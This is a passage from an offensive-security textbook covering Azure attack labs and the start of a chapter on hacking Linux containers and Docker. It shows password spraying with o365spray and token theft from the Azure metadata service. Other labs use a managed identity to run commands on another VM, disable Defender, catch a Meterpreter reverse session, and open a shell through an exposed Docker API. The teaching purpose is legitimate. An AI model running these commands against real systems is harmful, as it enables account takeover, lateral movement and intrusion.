We have provided it a single user ❸ and ran it in enum mode. The tool does support
a list that can be used. It goes beyond just OpenIDConnect: it checks for ActiveSync,
Exchange Web Services, and several other ways to perform authentications in modern
Microsoft environments. Now, the question is, can the tool help us with password spray-
ing? Yes. We will use a static username and password to demonstrate how it works, as
shown next. If you want to perform password spraying, you can pass a static password to
a list of users and so on.
┌──(kali kali)-[~/projects/o365spray]
└─$ python3 o365spray.py -d ghhtestbed.onmicrosoft.com -u ghh-test-user@
ghhtestbed.onmicrosoft.com❹ -p ReallyReallyVeryStrongPassword1! –spray
597
[2021-10-20 21:36:39,002] INFO : Running password spray against 1 users.
[2021-10-20 21:36:39,002] INFO : Password spraying the following passwords:
['ReallyReallyVeryStrongPassword1!']
[2021-10-20 21:36:39,654] INFO : [VALID] ghh-test-user@ghhtestbed
.onmicrosoft.com:ReallyReallyVeryStrongPassword1!
[2021-10-20 21:36:39,654] INFO :
[ * ] Writing valid credentials to: '/home/kali/projects/o365spray/spray/
spray_valid_credentials.2110202136.txt'
[ * ] All sprayed credentials can be found at: '/home/kali/projects/
o365spray/spray/spray_tested_credentials.2110202136.txt'
[2021-10-28 21:36:39,654] INFO : Valid Credentials: 1
The next step is to provide the tool with a known-good password ❹ just to validate
how the tool operates. We also exchange the –enum switch for --spray, which allows us
to attack accounts with a password attack. Here, we see that the tool does show us the
valid credentials, storing the output in a file. Our next step will be to see how we can use
the new credentials.
Lab 28-6: Getting onto Azure
Now with a valid account, how can we use it to start our work down to logging into the
Microsoft Azure components on the control plane. Let’s begin by trying these credentials
on the Microsoft Azure CLI:
└─$ az login -u [email protected] -p
ReallyReallyVeryStrongPassword1! ❶
└─$ az vm list -o table -d❷
Name ResourceGroup PowerState PublicIps
-------------- ------------------- ------------ -------------
rtc-dc1❸ PURPLECLOUD-DEVOPS1 VM running 40.78.2.188❻
rtc-velocihelk. PURPLECLOUD-DEVOPS1 VM running 13.88.175.91
Win10-Lars. PURPLECLOUD-DEVOPS1 VM running 13.88.175.92
PART VI
└─$ az vm run-command invoke -g PURPLECLOUD-DEVOPS1 -n rtc-dc1 --command-id
RunShellScript --scripts "dir❹
(AuthorizationFailed) The client '[email protected].
com' with object id '6a1OMMITED4' does not have authorization❺ to perform
action 'Microsoft.Compute/virtualMachines/runCommand/action' over scope '/
subscriptions/OMMITED/resourceGroups/PURPLECLOUD-DEVOPS1/providers/Microsoft.
Compute/virtualMachines/rtc-dc1' or the scope is invalid. If access was
recently granted, please refresh your credentials.
We now see that the user ghh-test-user is a valid Azure user, that we can log in ❶, and
that we do have access to list out virtual machines ❷. This is a promising set of events.
There is no multifactor authentication (MFA) on the account, and there are no restric-
tions as far as we can see. We feel that we can fully control things. We even see a domain
controller ❸ and a few other servers that are interesting. Why not run commands on
them to try to abuse our privileges? We attempt to use run-command ❹, but this fails.
598
This is because the user only has read access to the virtual machines. The user cannot
execute commands or change the machines themselves ❺. The machines do have a public
IP address ❻, with luck you can RDP into these systems if you have the right username
and password.
Control Plane and Managed Identities

Microsoft Azure, much like AWS, has the concept of a control plane that is shared
among its customer base. The control plane is mainly viewed either via a web-based
control panel or using a command-line interface such as the AZ tool. The advantage to
the attacker is that the control plane is typically not hidden from the attacker via a data
center firewall, as it normally is with VMware vSphere. Instead, the control plane is avail-
able to us via the Internet if we are able to log in with the right username and password.
The control plane is also reachable internally using the services and virtual machines.
These also need accounts to access sensitive parts of the system. If a virtual machine
wants to gain access to an Azure file, a Azure blob, a SQL server, or any number of other
services, it also needs to authenticate. There are two ways that Azure allows for this: user-
assigned managed identities and system-assigned managed identities. Either mechanism
will provide the machine with authentication material. If we can read that material, we
can take that identity and perform actions at whatever privilege level it has.
Lab 28-7: System Assigned Identities
We will not go into RDP-based password-spraying attacks in this chapter because we

covered some of this topic in Chapter 16. Instead, let’s assume we have already found
a valid username and password and are now on the desktop of our domain controller.
From here, we are going to discuss how to leverage a system-assigned management iden-
tity. Refer to the GitHub repo in the ch28 directory, where you will find a .ps1 file. This
file will be run on our server:
PS C:\Users\RTCAdmin> $response = Invoke-WebRequest -Uri
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-
01&resource=https%3A%2F%2Fmanagement.azure.com%2F' `❶
>> -Headers @{Metadata="true"}
PS C:\Users\RTCAdmin> $content =$response.Content | ConvertFrom-Json
PS C:\Users\RTCAdmin> $access_token = $content.access_token
PS C:\Users\RTCAdmin> echo "The managed identities for Azure resources access
token is $access_token" ❷
The managed identities for Azure resources access token is
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Imwzc1EtNTBjQ0g0eEJWWkxIVEd3blNSNzY4MC
IsImtpZCI6Imwzc1EtKEx2jqkIU8sKQV3bGkekV0OiMoB2ZBcPRNRceDZm0cUSqOExzUeblkNPxxBgv4PK
ec55kjLUV5lnqjPjqydfUnGN7dvE7KXoHV3m
c0MTWtPshlnZdaaLKaCeMqEpS4hSXNpShe3Yx76siD8m4XogpAMcJzXeZjYc-
siSFG9pS65fuWBE68LMM9bEEOhajRX8dEpMcIn0Hx73l0-
FPgLsxsbdLP6lkRkOhwcVRxMGgYz1QGlo2Lw2CFI_1UXX3RhO-w453a0hvE8JxDyE9CvA
PS C:\Users\RTCAdmin> # Use the access token to get resource information for the VM
PS C:\Users\RTCAdmin> $subId = (Invoke-WebRequest -Uri
'http://169.254.169.254/metadata/instance?api-version=2021-02-01' -Headers
@{Metadata="true"}).compute.subscriptionId
599
PS C:\Users\RTCAdmin> $vmInfoRest = (Invoke-WebRequest -Uri
'https://management.azure.com/subscriptions/$subId/resourceGroups/purplecloud-
devops1/providers/Microsoft.Compute/virtualMachines/rtc-dc1?api-version=2017-12-01'
-Method GET -ContentType "application/json" -Headers @{ Authorization ="Bearer
$access_token"}).content❸
PS C:\Users\RTCAdmin> echo $vmInfoRest❹
{
"name": "rtc-dc1",
}
It would not be uncommon for machines that process data or perform Azure-specific
actions to have what is known as an Azure system-assigned managed identity. These
identities can be tied to roles in Azure, and those roles can have specific access to Azure
services. Back in Lab 28-2, we created an Azure system-assigned managed identity, and
that identity can be used to perform Azure actions. Our script does several things. The
first is querying the Identity Metadata Service ❶, which you may recall from Chapter 27
because AWS has one as well. The output of this request will not be an API key such as
the one in Azure; instead, it will be a JWT ❷ JSON web token.
How can we use the JWT in our subsequent request? We can send a request using the
Invoke-WebRequest ❸ feature of PowerShell to a specific RESTful URL. You may need
to tweak the RESTful URL to match your subscription ID, which is omitted from the
request shown previously. Notice that we are getting information from rtc-dc1 ❹, but we
can also get information from almost any source this machine has access to. We can even
run commands on remote machines.
Let’s start by installing the Azure CLI on that Windows domain controller and
running some commands:
PS C:\Users\RTCAdmin> wget https://aka.ms/installazurecliwindows❺
PS C:\Users\RTCAdmin> az login --identity
PS C:\Users\RTCAdmin> az vm run-command invoke -g PURPLECLOUD-DEVOPS1 -n
Win10-Lars --command-id RunPowerShellScript --scripts "whoami; hostname ❻" {
"value": [
{
"code": "ComponentStatus/StdOut/succeeded",
"displayStatus": "Provisioning succeeded",
"level": "Info",
"message": "nt authority\\system\nWin10-Lars❼",
PART VI
"time": null
},
{
"code": "ComponentStatus/StdErr/succeeded",
"displayStatus": "Provisioning succeeded",
"level": "Info",
"message": "",
"time": null
}
]
}
Regardless of how you download the binary—either by CLI or in the Internet

Explorer web browser ❺—getting the Azure CLI installed on the system is key. Once
installed, the az VM run-command can be invoked using that managed identity ❻.
600
We can then test privileges, and in this case, we are able to move to another machine
❼ not via the data plane, which is where our normal network traffic would be, but
instead via the control plane.
Lab 28-8: Getting a Backdoor on a Node
Armed now with the ability to run a command remotely, we can extend this capability to
running a backdoor. One way to do this is to use a simple backdoor to get on the system
like a Meterpreter agent:
PS C:\Users\RTCAdmin> az vm run-command invoke -g PURPLECLOUD-DEVOPS1 -n
Win10-Lars --command-id RunPowerShellScript --scripts "Set-MpPreference
-DisableRealtimeMonitoring 1❶" {
"value": [
{
]
}
Our first command disables Microsoft Defender ❶, which is present on the system.
You can use the steps outlined in the Metasploit.md file in the GrayHatHacking GitHub
repository for Chapter 28 (ch28). Once you have your Meterpreter PS1 file set, you can
use the following output to get access to the node itself. The Meterpreter PS1 file is a full
Meterpreter payload using PowerShell encoding to deliver the payload. The encoding
module uses reflective loading to load the assembly itself.
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started HTTP reverse handler on http://0.0.0.0:8000
msf6 exploit(multi/handler) > [*] http://0.0.0.0:8000 handling request from
127.0.0.1; (UUID: xrxfh32d) Redirecting stageless connection from /cVpQ2fr27S
x4SX5IGc7KhAEZ5yS0qMMOpqRrQtMn1PPy9kEMBDzV9ia-OL6KAYeBc_0ixfcXiQCtqwy with UA
'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] http://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: xrxfh32d)
Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (127.0.0.1:8000 -> 127.0.0.1:33374) at 2021-11-07
11:04:45 +0000❷
meterpreter > shell❸
Process 32156 created.
Channel 1 created.
hostname
Win10-Lars❹
Once the Meterpreter payload loads ❷, you can interact with it as you normally
would. Starting a command shell session ❸, you can see that we are now on a dif-
ferent machine—that of Win10-Lars ❹. You have started to move from the control
plane of Azure further into the data plane. You can then pivot from here deeper into
an infrastructure.
601
Summary
Much like Amazon Web Services, Microsoft Azure is a very powerful system. Most of
these cloud technologies, as you can see, give attackers new avenues of attack that they
did not have before. There are now several attack surface areas to cover. You are not lim-
ited to just the data plane traffic, which you are traditionally limited to in standard data
centers; instead, you have an already available out-of-the-box control plane that you can
take advantage of. Microsoft Azure, while being a good step forward for Microsoft, has
just as many issues as many of the other cloud providers we see today.
For Further Reading

“OAuth 2.0 and OpenID Connect Overview” developer.okta.com/docs/concepts/
oauth-openid/
“OAuth 2.0 authentication with Azure Active Directory” docs.microsoft.com/
en-us/azure/active-directory/fundamentals/auth-oauth2
“Azure built-in roles” docs.microsoft.com/en-us/azure/role-based-access-control/built-
in-roles
References
1. “What is Amazon Organizations?”, https://docs.aws.amazon.com/organizations/
latest/userguide/orgs_introduction.html.
2. “Organize and manage multiple Azure Subscriptions,” https://docs.microsoft
.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-
subscriptions.
3. PurpleCloud installation steps, https://purple.iknowjason.io/install.html.
4. MSOLspray, https://github.com/dafthack/MSOLSpray.
5. O365spray, https://github.com/0xZDH/o365spray.
PART VI
Hacking Containers
CHAPTER
29
• Linux containers
• Applications, specifically Docker
• Container security
• Kernel capabilities
Linux containers have been a mainstay of application deployment technologies for quite
some time. The use of containers is not a very new idea, although it may seem that way.
For decades, container-type technologies have shown up in IBM mainframes and Sun
Solaris machines. It does, however, feel that modern containers are different. The term
container has become an overloaded term like a sandbox. Linux containers are particular
constructs that have been refined over time. When we refer to “containers,” it is essential
to note that we are referring to Linux-based containers. When we describe other con-
tainer technologies, such as Windows containers, we will specify the operating system to
denote the difference. In this chapter, we define a Linux container as a system having the
following properties:
• An image format compliant with the Open Container Initiative (OCI)1

• An OCI-compliant runtime2
• An OCI-compliant distribution3
This chapter will look at how containers operate—specifically those that ship with the
Linux operating system. We can manipulate Linux containers and learn how they oper-
ate, what makes them different from other technologies, and how we can abuse them to
take over host systems. This chapter can inform other chapters that include these types
of technologies.
Linux Containers
Containers have been popular within many of platform as a service (PaaS) offerings since
the late 2000s. Docker is a software package for building cross-platform container solu-
tions. Linux, however, has some unique properties that allow both proprietary container
603
604
software and various other container technologies to exist. Some of the more commonly
used technologies include the following:
• chroot, which is a technology that changes the root directory for a process and
its children
• Union mount file systems, such as Overlay2, Overlay,4 and Aufs
There are also technologies that are not so well known outside of the Linux kernel
development space, such as control groups (cgroups) and namespaces. We will be explor-
ing each one of these items in detail so that we can better understand how they work
within containers. There are also nonstandard configurations that allow you to hardened
containers; for example, AppArmor and secure computing (seccomp) profiles can be
applied to containers that would further restrict what we can do. Naturally, because they
are not standard or the default, they are seldom used in production.
Container Internals
Containers were not based on any standard when they were first conceived of; in fact, the
Open Container Initiative (OCI5) was established in 2015 by the Docker company. Prior
to 2015, many container frameworks created their own standards for how to interact
with the kernel. This has led to many different types of container runtimes in one form
or another over the last several years. Regardless of the differences in Linux containers,
many of the initial constructs remain the same.
Cgroups
Starting in version 2.6.24 of the Linux Kernel, a functionality known as control groups,
or cgroups for short, was released. The latest release of cgroups (cgroups v2) was intro-
duced in Kernel 4.5 and brings security enhancements to the system. Control groups are
a series of kernel-level resource controls for processes that can include the ability to limit
resources, such as CPU, network, and disk, and isolate those resources from one another.
Lab 29-1: Setup of our Environment
Our environment can be easily set up with all of the targets by using the build script
located inside of the ch29 directory. You should reference the README file located in
the ch29 directory to set up the environment. One of the steps in that process is to run
the build.sh ❶ script, which will eventually output the IP addresses you will be connect-
ing to, including the Kali system:
└─$ ./build.sh❶
[+]You can now login to kali, here is the inventory files with IP addresses
docker:
hosts:
3.239.17.17:
Chapter 29: Hacking Containers
605
vars:
ansible_user: ubuntu
ansible_python_interpreter: /usr/bin/python3
ansible_ssh_private_key_file: /home/kali/.ssh/id_rsa.pem
kali❷:
hosts:
3.94.148.9❸:
vars:
ansible_user: kali❺
ansible_python_interpreter: /usr/bin/python3
ansible_ssh_private_key_file: /home/kali/.ssh/id_rsa.pem❹
NOTE Some of the lab steps will be performed on your Kali unit, and some
of the lab steps will be performed on target systems. The prompts help us to
display the differences between each system.
You will be logging in to the Kali ❷ system using the IP address ❸ provided and the
SSH key ❹ that is shown. The Kali user remains as kali ❺. The other target devices can
be logged in to directly; however, we will be working to gain access to them in a different
manner throughout this chapter.
Lab 29-2: Looking at Cgroups
Inside the Kali virtual machine in the cloud, let’s begin by creating a very simple con-
tainer that will give us a shell:
┌──(kali@kali)-[~]
└─$ mkdir -p containers/easy
└─$ cd containers/easy; nano Dockerfile
We should now be editing our Dockerfile within the containers/easy directory. The
following lines should be entered into that file to be able to create a simple container:
PART VI
FROM debian:bullseye-slim❶
CMD ["bash"]❷
The file we have created is known as the Dockerfile. You can consider the Dockerfile
a runbook for building a container. Each and every command in the file has meaning;
for example, FROM ❶ represents one command in the container and will be stored as a
single command in the storage file system, and CMD ❷ represents another command.
We will be exploring this further in the “Storage” section of this chapter. For now, let’s
build and run our container so that we can explore cgroups:
└─$ docker build -t ghh-easy❹ . ❸
└─$ docker run -it ghh-easy /bin/bash
root@672946df5677:/#
606
NOTE Most of the containers you encounter will have strange hostnames
attached them. The standard Docker container will have the last part of
the SHA-256 hash that is used as the cgroup marker on the host. This may
become important later when you want to locate the running processes.
These container commands will first build a container in the current directory ❸
using the Dockerfile we created and will assign it a tag of ghh-easy ❹. We can then
execute a docker command to run the container in interactive mode. The prompt dis-
plays a strange alphanumerical value. The value here represents the container ID, which
is the first set of characters from the full container ID, which in turn is an SHA-256 hash.
The hash you see may be different from these examples. The hash is derived from one of
the layers of the file storage environment. Open a new terminal on the same system and
leave the Docker container running.
The control groups on a Kali system will be based on cgroups version 2,6 which allows
for tighter controls. One of the major differences between version 1 and version 2 is the
directory hierarchy, which is viewable by using the sys file system at /sys/fs/cgroup. In
cgroup version 1, each resource had its own hierarchy, and they map to namespaces:
• CPU
• cpuacct
• cpuset
• devices
• freezer
• memory
• netcls
• PIDs
Inside of each of those directories would be different control groups. This particu-
lar setup had several vulnerabilities to it, and one of those vulnerabilities will appear
at the end of this chapter. The most common vulnerability is the fact that access
to a cgroup’s information and that of its children cgroups were stored in different
directories and not by process ID. Having a shared directory structure led to ACL
hierarchy-based vulnerabilities.
Consider an example in which our bash shell has a network daemon; the PID for the
shell would be in both CPU and netcls, as it would potentially belong to both cgroups
on the file system. They could also have nested cgroups inside of each PID. Ultimately,
this means much more effort to rationalize and find all the instances where groups live.
In control groups v2, there is now a unified control group structure stored in each PID.
Kali, being a rolling distribution, will have a different cgroup environment than our
Docker host, as it is running an older kernel. This is not uncommon to find in the wild,
as long-term supported systems will be used for years, with these types of kernel archi-
tectures still operational. The other major change to cgroups in version 2 is the concept
of “rootless containers,” which makes exploitation through the use of the root account
much more difficult.
607
The following commands should be performed in a new window, as we should leave
our Docker container running:
└─$ cd /proc/$(pidof docker run) ❺
┌──(kali kali)-[/proc/25976]
└─$ cat cgroup❻
0::/user.slice/user-1001.slice/session-221.scope
The first command will put us in the proc directory of Linux, specifically in the
process ID of the running Docker container ❺. The second command will output the
cgroup location that our process is running. This directory maps to /sys/fs/cgroup/user-
1001.slice/session-221.scope ❻. One of the big changes is you will not see references to
all of the cgroups anymore. The related cgroups you would normally see are missing. The
storing of cgroups inside of directories which can lead to nested child cgroups is now no
longer available. This will become critical later when we run an exploit that takes advan-
tage of this version 1 cgroup flaw. This is no longer an available flaw in the kernel that
ships with Kali’s rolling distribution.
Let’s return to our Kali host. Here are some commands that can help us work with
the Docker API:
• docker container ls This command shows all containers running or stopped.

• docker stop This command stops the containers.
• docker rm This command removes a container.
Our container is not running as a daemon; instead, it is running using the bash shell
to hold it open. So what happens if we exit? Let’s return to our instance that was held
open by leaving the bash shell running in the container:
root@275fdf1f34da:/# exit❼
┌──(kali kali)-[~/containers/easy]
└─$ docker container ls --all❾
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
275fdf1f34da ghh-easy "/bin/bash" 3 minutes ago Exited❽ (0) 40 seconds ago intelligent_noyce
┌──(kali kali)-[~/containers/easy]
└─$ docker rm 275fdf1f34da❿
PART VI
The first command will exit our container ❼. At ❽, we can see that our container is
no longer running; it has exited. The next command will list out all containers; notice the
--all flag ❾ will list out all the containers, running or not. We can delete the container
reference and any storage layers that may have diverged from the normal image by run-
ning the rm ❿ command.
Namespaces
Namespaces and cgroups are tightly linked, as namespaces are how the Linux Kernel
can form constraints around specific items. Namespaces, similar to how program-
ming like C++ use them, allow for a process or collection of kernel control objects
to be grouped together. This grouping limits or controls what that process or object
608
can see. To leverage the namespace, we can use a set of APIs that are exposed by the
kernel itself:
• clone() This will clone a process and then create the appropriate namespace
for it.
• setns() This allows an existing process to move into a namespace that we may
be able to use.
• unshare() This moves the process out of a namespace.
You might find that exploits designed for use in the kernel outside of a container fail,
and the reason they fail may have to do with the visibility the exploit has on the indi-
vidual items on the disk. You may have to rewrite your exploit to leverage a different set
of APIs to move outside of a namespace and back into the global namespace. The use
of namespaces may have originated from the original design documents from Bell Lab’s
Plan 9 (see the “For Further Reading” section for more information).
Storage
The mechanism that Docker and several other container runtimes use is known as a
union file system (UnionFS). To best understand a union file system, consider a set of
clear pieces of transparent paper. One paper at the bottom has a single line; let’s call this
the lower layer. The next piece of paper placed on top of it, also translucent, has a line
connecting to the first, and the picture that’s formed shows two lines making a 90 degree
angle. The next piece of paper is overlayed on top, and that paper has a third line con-
necting to the first two lines; this picture forms a square U. We’ll call this the layer upper.
The final sheet of paper on top we’ll call the workdir; it completes the picture, and we see
a square. The layering represents how the overlay file system, which is in use in Docker,
uses layers that include diffs between each layer on our disk.
There are several union file systems in existence today, such as Aufs and OverlayFS.
Overlay2 is the current filesystem which uses a technology that merges different direc-
tories together to form a consolidated filesystem. The base layers are usually made up
of base operating system distribution files, but not always. They generally feature a set
of layers up to the working upper layer. These layers and the differences are all merged
together when a container is booted, by mounting an overlay file system. These file
system layers are not mutable; they are read-only. There is a “working” directory that is
merged as a final layer that can be written to. As shown in Figure 29-1, the overlay file
system will merge all of the appropriate changes together.
Container1 Container1
Apache Redis
Merged Merged Merged
apache2 Upper Upper Upper redis
Lower Debian/bin/sbin/etc/var
Figure 29-1 OverlayFS

609
We can inspect these changes using the docker inspect and docker volume com-
mands. We can also traverse the file system to the areas that correspond to the file system
layers. Each file system layer is SHA-256 hashed and checked for integrity, as these file
systems are supposed to be read-only. The mechanism used to create each layer is actually
in the Dockerfile. Let’s look at a more advanced Dockerfile.
Lab 29-3: Container Storage
Inside of your Kali virtual machine in the cloud, let’s begin by creating a very simple
container that when run will give us a shell:
└─$ mkdir -p containers/nmap
└─$ cd containers/nmap; nano Dockerfile
The Dockerfile we create will also be of Debian:bullseye-slim. Using the OverlayFS,

this layer should match the existing container, and only changes should be appended:
FROM❶ debian:bullseye-slim
RUN❷ apt update -y &&❸ \❹
apt-get install nmap -y
ENTRYPOINT ["/usr/bin/nmap"]
The Dockerfile will separate layers based on Docker commands that are
UPPERCASED. The first command will import a container FROM ❶ the Debian
container repository that is tagged with bullseye-slim. Notice the next command is
RUN, which goes between carriage return/linefeeds in the file ❷. This is still considered
one layer, as it is using two specific items. The first is the RUN command that is speci-
fied, and the second is the && ❸ syntax, which in bash will execute the first command
and if successful execute the next command. Next, \ ❹ is used to break apart long com-
mands across multiple lines. At this point, the Docker system will instruct the kernel
to build another layer that can be shared. If another container shares this identical apt
PART VI
command, it will be used. The final part of the build is the Docker ENTRYPOINT
command. This is a special Docker command that instructs the system to run the con-
tainer, prepending the command and arguments found in ENTRYPOINT. In this
example, we will be running Nmap and passing arguments. Let’s build the container:
┌──(kali kali)-[~/containers/nmap]
└─$ docker build -t ghh-nmap .
Sending build context to Docker daemon 2.048kB
Step 1/3❺ : FROM debian:bullseye-slim
---> 89d5fb3cdfe2
Step 2/3 : RUN apt update -y && apt-get install nmap -y
---> Running in 77244effafba
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.
<--Omitted for brevity---->
Removing intermediate container 77244effafba❻
---> e7430215e54b
Step 3/3 : ENTRYPOINT ["/usr/bin/nmap"]
610
---> Running in 7503a5dbe8db
Removing intermediate container 7503a5dbe8db
---> 33ef0063a231
Successfully built 33ef0063a231
Successfully tagged ghh-nmap:latest
When Step 1/3 ❺ is run, we see that the container is using the existing hash. We
know this because it doesn’t indicate that it is running the layer or pulling it down. Each
subsequent step is now denoted by a layer, including some layers that are discarded ❻
because they are not needed post-build; those files are temporary. With this in hand, let’s
now run our container and see how it executes:
└─$ docker run -it ghh-nmap scanme.nmap.org
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-26 02:15 UTC
Nmap scan report for scanme.nmap.org (45.33.32.156)
<--Omitted for Brevity-->

└─$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
The container executes Nmap and stops running. If you run a docker ps command,
you will no longer see a container executing, and the job is finished. Containers need
their process running in the foreground to stay running as a detached daemon. What
about data in the container? If we look in the /var/lib/docker directory, we can start to
explore the file system layers individually:
└─$ sudo su -
┌──(root kali)-[~]
└─# cd /var/lib/docker/overlay2
┌──(root kali)-[/var/lib/docker/overlay2]
└─# ls -la **/*
<--Omitted for Brevity-->:
45acc12955ca75950a3f73845fcdfa70f1423e0e8901b86389e63ce2c0c03f27/diff: ❼
total 28
drwxr-xr-x 7 root root 4096 Feb 26 02:08 .
drwx-----x 4 root root 4096 Feb 26 02:08 ..
drwxr-xr-x 10 root root 4096 Feb 26 02:08 etc
drwxr-xr-x 4 root root 4096 Feb 8 00:00 lib
drwxrwxrwt 2 root root 4096 Feb 26 02:08 tmp
drwxr-xr-x 5 root root 4096 Feb 8 00:00 usr
drwxr-xr-x 5 root root 4096 Feb 8 00:00 var
45acc12955ca75950a3f73845fcdfa70f1423e0e8901b86389e63ce2c0c03f27/work:
total 8
drwx------ 2 root root 4096 Feb 26 02:08 .
drwx-----x 4 root root 4096 Feb 26 02:08 ..
611
This view shows us a couple things. First, we can actually traverse Docker containers
on the host and look for files, and some of these files may contain secrets or information.
Keep this in mind when looking at containers on a large host. Second, we can see the
delta ❼ directories for each file system layer. The ones that are called /work are the ones
that contain changes after the container is running.
Applications
Why are containers popular and why do we see them suddenly appear everywhere?
Containers have slowly taken the place of virtual machines in many environments.
There is a tradeoff currently between containers and virtual machines—one that we
can easily exploit. Virtual machines bring a layer of security into the application by vir-
tualizing the hardware layers. This abstraction means that an operating system kernel,
drivers, memory management, and file system must be provided each time a virtual
machine is created.
Containers are different; they bring over the userland binaries and share the operat-
ing system kernel, drivers, and memory structures. The demarcation or isolation is at
the container group and namespaces layer. As shown in Figure 29-2, the advantage to
this is the amount of efficiency gained by not consuming additional CPU and memory
to manage an entire operating system; instead, userland processes are all that’s required
for containers.
Given this, for a developer we now can see the attraction from an efficiency stand-
point, but there are other benefits as well. Consider the legacy of Linux: with Linux you
have many applications compiled against standard libraries that are shipping at the time
CY
Guest3 Virtual Machines CX

Containers
...
C4
PART VI
C3
Guest2 App
Memory
Memory
C1 C2 C3 C2
Guest OS C1
Guest OS
Guest
Guest1 Hardware Guest Hardware
Guest1
VMM or HostOS VMM or HostOS
VMM
VMM
Hardware Hardware
Host Host
Figure 29-2 Containers vs. virtual machines

612
of release. Have you ever had software fail to compile because “required libraries” were
too new or too old? Containers solve this problem, as we can now ship our software with
the exact binaries at the exact time we created them. How?
What makes Linux “Linux”? More specifically, what makes RedHat Linux different
from Mandrake or SUSE? Linux is made of several components:
• The Linux Kernel, which is shared with the host

• System software, such as SysVinit or SystemD, grub, and other miscellaneous
packages
• GNU binaries, including your editors, networking utilities, and shell
When you build a container, you create it with the appropriate system software and
the GNU binaries you need. A RedHat 7–based container can sit next to a Debian
“Buster”–based container and run on a host that is running Amazon Linux 2. This is
the reason why containers are so useful. We will be exploring container primitives to
understand this further.
What Is Docker?
Most people consider Docker to be the most familiar container tool in existence. For a
while, and maybe still today, the words Docker and containers are almost interchange-
able. Docker is not a Container Runtime Interface (CRI).7 Docker open-sourced its
container runtime interface known as ContainerD. We will explore container runtimes
in Chapter 30, but for now we just need to understand that Docker itself is really a CLI
that works with an API that is the Docker daemon. The Docker daemon usually runs
in a Linux socket, but not always. Searching on popular Internet search tools will yield
many open and exposed Docker daemons. In essence, Docker ends up being a wrapper
command or an API layer that orchestrates containers on a single computing device.
Docker-Compose is a local orchestrator that allows an administrator to orchestrate mul-
tiple containers on the same box. Docker Swarm was the Docker system equivalent of
Kubernetes. It allowed for Docker itself to be managed across many servers. Docker’s
business model completely shifted with the rise of Kubernetes. Docker swarm was dep-
recated and Kubernetes is what Docker itself now uses for clustering. Docker has, as part
of its core, deep networking capabilities that can be exposed. How they are exposed has
proven to be a larger problem.
Lab 29-4: Looking for Docker Daemons
Docker daemons can be exposed fairly easily in the Windows operating system through a
simple click of a button. Docker uses Unix Sockets to provide a mechanism to pass com-
mands from the Docker CLI to the Docker API. There have been instances of Docker
ports exposed to the bare Internet. How can we find Docker daemons? Luckily, we can
613
do so with a few simple scans. Run the following from within a new shell on the Kali
instance you set up in the cloud:
└─$ nmap -p 2375,2376 10.0.0.0/24 -A
PORT STATE SERVICE VERSION
2375/tcp open docker Docker 20.10.4 (API 1.41) ❶
| docker-version:
| KernelVersion: 5.4.0-1038-aws
| Version: 20.10.4
| GitCommit: 363e9a8
| Arch: amd64
Running nmap, we can scan for standard Docker container ports. Here what we see
is a very well understood and documented Docker API on one of our hosts ❶. The API
specification allows for full interaction with a Docker daemon just like the CLI tooling
would. This allows us to attach and execute actions on a remote host without bringing
any of the necessary binaries with us. To explore this further, let’s first look at the API
without the client:
└─$ curl http://10.0.0.50:2375/containers/json | jq ''❷
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2757 0 2757 0 0 207k 0 --:--:-- --:--:-- --:--:-- 207k
[
{
"Id": "fdc86c839ef3945b75a420891610ec30c29f8df6e0b5d9b08104f94a2c1eddd1",
"Names": [
"/targets_redis_1"
],
"Image": "redis:alpine",
"ImageID": "sha256:dad7dd459239bf2f1deb947d39ec7a0ec50f3a57daab8a0e5cee7f7b1250b770",
"Command": "docker-entrypoint.sh redis-server",
"Created": 1614547472,
"Ports": [
{
"PrivatePort": 6379,
"Type": "tcp"
}
PART VI
],
The SDK8 for Docker allows for many of the most common interactions, and the
ps command is enabled by the API call for containers. Here, the endpoint for /containers/
json ❷ returns to us all the container information from the API in the JSON array,
including any environment variables and any ports that are being used. Using the appro-
priate calls to the API, we could obtain much of the information we need; alternatively,
we also have the Docker CLI.
Container Security
Containers are designed to be a “point-in-time” style of system that doesn’t change. This
is a benefit for software developers to continue to support applications that had been
compiled on much older versions of software, but it’s also an advantage for attackers who
614
want to leverage older vulnerabilities in software. We know that based on its immutabil-
ity, a container for legacy software like PHP 5.4 or Java 7 may contain a high number of
operating system vulnerabilities as well as software vulnerabilities in the runtime.
Lab 29-5: Interacting with the Docker API
We can use the Docker CLI to create containers; however, it is much easier to use the
native client that already has all the calls codified in the CLI. We will be using our Kali-
deployed instance in the AWS Cloud to perform the following parts of the lab:
└─$ docker -H❶ 10.0.0.50 ps
CONTAINER ID IMAGE COMMAND CREATED STATUS
PORTS NAMES
fdc86c839ef3 redis:alpine "docker-entrypoint.s…" About an hour ago Up About
an hour 6379/tcp❹ targets_redis_1❷
1627680fd2d7 targets_web "flask run" About an hour ago Up About
an hour 0.0.0.0:80->5000/tcp❺ targets_web_1❸
We can run the docker command with the -H ❶ flag to allow us to specify the
remote host. On the remote target, we see two containers: targets_redis_1 ❷ and tar-
gets_web_1 ❸. The first container does not expose any ports to the host’s main inter-
face ❹, but the second container does ❺. In the current configuration, the daemon
is not authenticated or encrypted; therefore, any attacker listening on these interfaces
will be able to see these commands.
Lab 29-6: Executing Commands Remotely
We will now remotely connect to the exposed Docker socket and gain a remote shell on
the system. This will seem familiar for readers that have used netcat bind shells.
└─$ docker -H 10.0.0.50 exec -it targets_web_1 /bin/sh❶
/code #❷ ls
Dockerfile __pycache__ app.py requirements.txt templates
/code # env❸
HOSTNAME=1627680fd2d7
PYTHON_PIP_VERSION=21.0.1
PYTHON_GET_PIP_SHA256=c3b81e5d06371e135fb3156dc7d8fd6270735088428c4a9a5ec1f342e2024565
/code # ps -ef❹
PID USER TIME COMMAND
1 root 0:01 {flask} /usr/local/bin/python /usr/local/bin/flask run
